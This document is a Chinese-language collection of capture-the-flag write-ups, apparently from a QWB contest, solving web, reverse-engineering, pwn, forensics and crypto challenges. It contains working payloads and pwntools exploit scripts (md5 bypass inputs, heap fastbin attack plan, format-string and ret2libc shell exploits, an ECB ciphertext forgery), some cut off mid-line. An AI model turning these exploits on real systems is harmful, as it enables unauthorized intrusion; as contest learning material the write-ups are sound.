第一层:0e相等即可,0e251288019
第二层:数组绕过,hash2[]=1&hash3[]=2
第三层:特定字符串md5绕过,构成恒真语句,ffifdyop
即:hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
flag{y0u_w1ll_l1ke_h4sh}
1.全靠IDA远程动态调试肝,懵懵懂懂的做完了这道题。
signal函数
第一个参数signum:指明了所要处理的信号类型
第二个参数handler:描述了与信号关联的动作
这个程序会触发两种信号,一个是SIGTRAP,一个是SIGALRM。SIGTRAP是INT3引起的,SIGALRM是程序超时引起的。
int3如果传递给程序,程序的signal函数接受SIGTRAP信号,会运行handler函数,函数会设置data段的数据,不会陷入死循环。
也就是说,程序期望接收到自己代码段中的INT 3引起的SIGTRAP。并且SIGALRM不应该传递给程序,否则会直接退出。
设置IDA的debugger options,把SIGTRAP的处理方式设置成pass to application,并且遇到SIGALRM的时候,选择discard
2.0x408AD6为输入函数地址。
0x408DC2 附近调用了strchr,后面的大概在判断程序有没有输入。
0x409149附近调用了strlen,在0x409174与0x1c进行了比较,所以输入的长度为0x1c(28)
3.程序中有一大堆这种毫无意义的混淆代码。
4.从0x402D05 开始,有一系列的cmp和jz
[rbp-8]为程序输入的地址,例如图片的意思就是:s[1]*0x44b38+s[0]*0xFFFFE483==0x1C4C7D2
总共有28个这样的方程
解出来就好了(手动把这些方程抄下来...太累了...)
flag: flag{g0_Fuck_xx_5egm3nt_0bf}
1.虽然没看太懂,但是动态调试发现sub_10B0()为输入函数。
2.sub_12F0()对输入进行了处理:首先,对于每个字节,与一个数组进行循环异或,然后加上0x41。
其次,对于每4个字节,循环右移了8位。
最后再与下面3个数据进行比较
0x4F4243684E76495C65775554647C784C
0x78796974435A466D497D57664E44714C
0x4462655E57505C4F
需要注意字节序。(数据比较少,直接手动进行循环位移)
```
lst = [0x78,0x7c ,0x64 ,0x4c,0x55,0x77 ,0x65 ,0x54,0x49,0x76 ,0x4e ,0x5c,0x43,0x42 ,0x4f ,0x68,0x71,0x44 ,0x4e ,0x4c,0x57,0x7d ,0x49 ,0x66,0x46,0x5a ,0x43 ,0x6d,0x69,0x79 ,0x78 ,0x74,0x5c,0x50 ,0x57 ,0x4f,0x65,0x62 ,0x44 ,0x5e]
arr = [0x51,0x57,0x42,0x6C,0x6F,0x67,0x73]
for i in range(len(lst)):
lst[i] -= 0x41
lst[i] ^= arr[i%7]
for i in lst:
print(chr(i),end='')
```
脚本的输出为flag{QWB_water_problem_give_you_the_scor
猜了一下,提交成功。
flag:flag{QWB_water_problem_give_you_the_score}
64位程序,典型的菜单题。保护就开了NX,而且是运行在libc2.23的环境。
程序逻辑:
1、首先是输入name和motto,输入的内容先输入到栈中,再输入到堆中。这里在strcpy的时候没进行边界检查,因此当输入name的长度为0x18的时候,会连着后面的age的值一块复制到堆中,这里就能够覆盖下一个chunk头部的size。
2、addnote函数,该函数负责申请堆块,然后将堆的地址和申请的大小放在bss段中,位置恰好在存name和motto堆块地址的后面。最大能申请0x100的内存空间,因此大概猜测要用到fastbin attack。
3、shownote函数,打印通过addnote申请的堆的内容。没利用到这个函数。
4、deletenote函数,能够释放掉所申请的堆块。这里v1没有检查下边界,因此存在负数溢出。同时释放掉堆块后并没有将指针清0,存在UAF的漏洞。
5、editnote函数,向所申请的堆块中填入内容,中规中矩,这里没有漏洞点。
6、reset函数,再进行一次填入name、motto和age的操作,意味着能够改变堆块头的size字段,这里就能布置chunk overlap
7、check函数,打印name和motto合age的值。这里可以用来进行地址泄露。
思路:
因此漏洞利用的思路就很明确了。
1、分配4个堆块,chunk0申请0x80的大小,chunk1申请0x68的大小,这两个chunk用来布置chunk overlap。chunk3申请0x68的大小,chunk4申请0x68的大小,这两个chunk用来使delete函数能够free掉name和motto的chunk。
2、 通过deletenote的负数溢出将name和motto的chunk给释放掉,这是由于motto的chunk的大小为0x110,因此就会被放到unsortedbin中,然后用check函数就能够打印出main_arean的地址。
3、将chunk1给释放了,因此它会加入fastbin。通过reset函数将chunk0的头改为0x100,再申请一个0x100的chunk,这是就会把这个大小为0x100的连续内存地址(覆盖了chunk1)取出。
4、通过editnote函数将chunk1中的fd字段给改成malloc_hook上方的地址,再分配2个0x70的chunk,这
64位程序,保护全开
程序逻辑:
1、循环,每次要输入Hey Siri!才能进入功能函数。
2、其中漏洞函数是这个sub_1212函数,这里存在格式化字符串漏洞。
思路:
a、首先用该漏洞泄露出栈和libc的地址。
前一个是libc上的地址,为__libc_start_main+231的地址。(这里我一直用libc2.23的环境来调,但是libc2.23和libc2.27的环境有些不一样,在libc2.23的环境中,这里是__libc_start_main+240,所以调了好久。)
后一个为上一个栈帧的rbp的值。
b、用该漏洞来向返回地址中填入one_gadget。但是因为这里用了sprintf来将输入的内容拷贝到s中,所以会发生”\x00”阶段,因此得多次向返回地址写地址,这里选择写在main函数存返回地址的地方。这部分的脚本写的有点丑,需要执行多几次。
c、然后需要跳出循环,才能够执行one_gadget。这里我选择修改sub_1212函数的返回地址,
可以看出返回地址是0x4c结尾的。写完后就成功getshelll了
我们需要执行到的地址是以0xc1结尾的,因此只需要改掉最后一个字节即可。
完整代码:
from pwn import * context.clear(arch = 'amd64') context.terminal = ['tmux', 'splitw', '-h'] context.log_level = "debug" #p = process("./Siri") p = remote("123.56.170.202", 12124) elf = ELF("./Siri") #gdb.attach(p) def Siri(): p.sendlineafter(">>> ", "Hey Siri!") exp = "Remind me to bbbbb" Siri() p.sendlineafter(">>> ", exp + "%83$p" + "%46$p") p.recvuntil("bbbbb") libc = int(p.recv(14), 16) stack = int(p.recv(14), 16) libc_base = libc - (0x21ab0 + 231) rip_addr = stack + 0x8 one = l
64位程序,保护没怎么开。
程序逻辑:
1、首先是菜单界面
2、进入功能函数,首先定义一个局部变量,这个是关键。
a、leave_name函数,往bss写入4个字节
b、leave_message函数,有个溢出,溢出8字节,可以改变返回rbp的值
c、show函数,打印name和message,没用到。
3、思路:
通过leave_name函数,往bss段(0x6010d0)写入一个0x100的数。
通过leave_message函数的溢出,将旧栈帧的rbp改成(0x6010d0+4),
然后根据偏移,每次在进入leave_message函数前,v1的值都会变成0x100
然后就用ret2libc进行getshell,用puts函数打印出puts函数的真实地址,然后算出one_gadget的地址,最后再把one_gadget填入返回地址。
完整脚本:
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.log_level = "debug" #p = process("./babymessage") p = remote("123.56.170.202", 21342) elf = ELF("./babymessage") #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def choice(idx): p.sendlineafter("choice:", str(idx)) #gdb.attach(p) choice(1) p.sendafter("name:", p32(0x100)) choice(2) p.sendafter("message:", "a"*8 + p64(0x6010d0+4)) exp = "a" * 8 + p64(0x6010d4) + p64(0x400ac3) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40091a) choice(2) p.sendafter("message:", exp) p.recvuntil("done!\n\n") leak = u64(p.recv(6).ljust(8, "\x00")) print hex(lea
看到代码
global $result;
print $result;
还有
global $$a;
$result=$GLOBALS['flag'];
首先是要global $result 才有机会输出
但是 ob_end_clean();这个的存在清除缓冲区,导致输出不了,所以思路下一步就是绕过这个
<?php
ob_start();
print "1";
ob_start();
print "2";
ob_end_clean();
exit();
这个发现可以正常输出1 ,这就是只清除了第二个ob_start()的缓冲区,而print "1" 则因为exit() 导致的不正常退出,而输出缓冲区内的1
开始思路是想办法连续进行两次read(),然后再exit()就可以,但是好像没办法,这样.而造成不正常退出只要php崩溃直接结束或者在__destruct的时候造成异常导致ob_end_clean()不执行也可以做到,
这里想得是用__destruct执行完read()后导致的异常而让 ob_end_clean()不执行,
所以就只能定位到了 global $$a 这里了,
需要寻找一个特殊的值变成全局变量后会出错
发现只要 global $this就可以让后面的ob_end_clean() 不执行
所以先global $$a $a等于result,然后 再global $$a $a等于"this" ,就可以了
生成序列化脚本:
<?php
$flag=file_get_contents('ssrf.php');
class Pass
{
public $tmp;
function read()
{
ob_start();
global $result;
print $result;
}
}
class User
{
public $age,$sex,$num;
function __destruct()
{
$student = $this->ag
1.流量包查看http,访问网站http://39.99.247.28/fonts/1获取
2.将网站密文日志写入文件,解密流量包的加密流量,发现新的png,最底下很多base64加密密文,解密获取flag
3.上一步文件底下还有很多base64,解密后为三位二进制代码,全部提取长度为3600,可以转成二维码。(脚本在下面)
扫码的到新的地址,下载是新的图片。判断为jphide隐写,steghide爆破密码为power123,使用jphs解密,得到flag和新地址
4.扫码的到新的地址,下载一个压缩包里面很多内容,level5.png无法直接提取,但是可以直接foremost出来。
5.level6.zip里面三个文件,但是都很小,考虑直接crc碰撞。碰撞成功得到flag。(脚本在下面)
6.level5.zip中有1.png,而且level7.zip中也有,考虑明文攻击。7zip普通压缩一下1.png然后就能跑出来解密的压缩包。
两张图片,一张很大一张很小,考虑盲水印,但是python2跑脚本跑不出来,必须使用python3才能跑出来。
7.上一步的到网址访问。直接下载html发现有多余数据,考虑html隐写(snow)。
网页中有提示,密码为括号内内容no one can find me,网站http://fog.misty.com/cgi/snow解密
8.最终拼接7部分为flag
二维码
#coding=utf-8
from PIL import Image
x = 60 #x坐标 通过对txt里的行数进行整数分解
y = 60 #y坐标 x * y = 行数
pic = Image.new("RGB",(x, y))
data = "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111000
工作量证明,很简单,脚本直接爆破
1000钱可以买flag
流程:
1.随便一个账号先转账给先前注册了的账号,得到密文,因为是ecb加密,且直接拼接密文,可以获得本账户的身份密文。
2.查看交易记录,提取交易记录到账用户和金额的密文。伪造交易记录进行交易,将其他用户的钱转到自己帐户
3.买flag
from pwn import *
import string
from hashlib import *
from time import *
#context(log_level="debug")
seed = string.printable
def aaa(head,tail):
#print head,tail
st1 = string.printable
for i in st1:
for j in st1:
for k in st1:
tmp = i + j + k
shaaa = sha256(tmp+head)
#print shaaa.hexdigest(),tail
if shaaa.hexdigest() == tail:
return tmp
p = remote('39.101.134.52',8005)
sha = p.recvuntil('XXX:').split("\n")[0]
tmp1 = sha.find('+')
tmp2 = sha.find(' ')
head = sha[tmp1+1:tmp2-1]
mid = sha[tmp2:]
tail = mid[mid.find("=")+3:]
result = aaa(head.strip(),tail.strip())
#print result
p.sendline(result)
sleep(0.2)
p.recv()
p.sendline('icq1d32a79f249369198eafd015dee55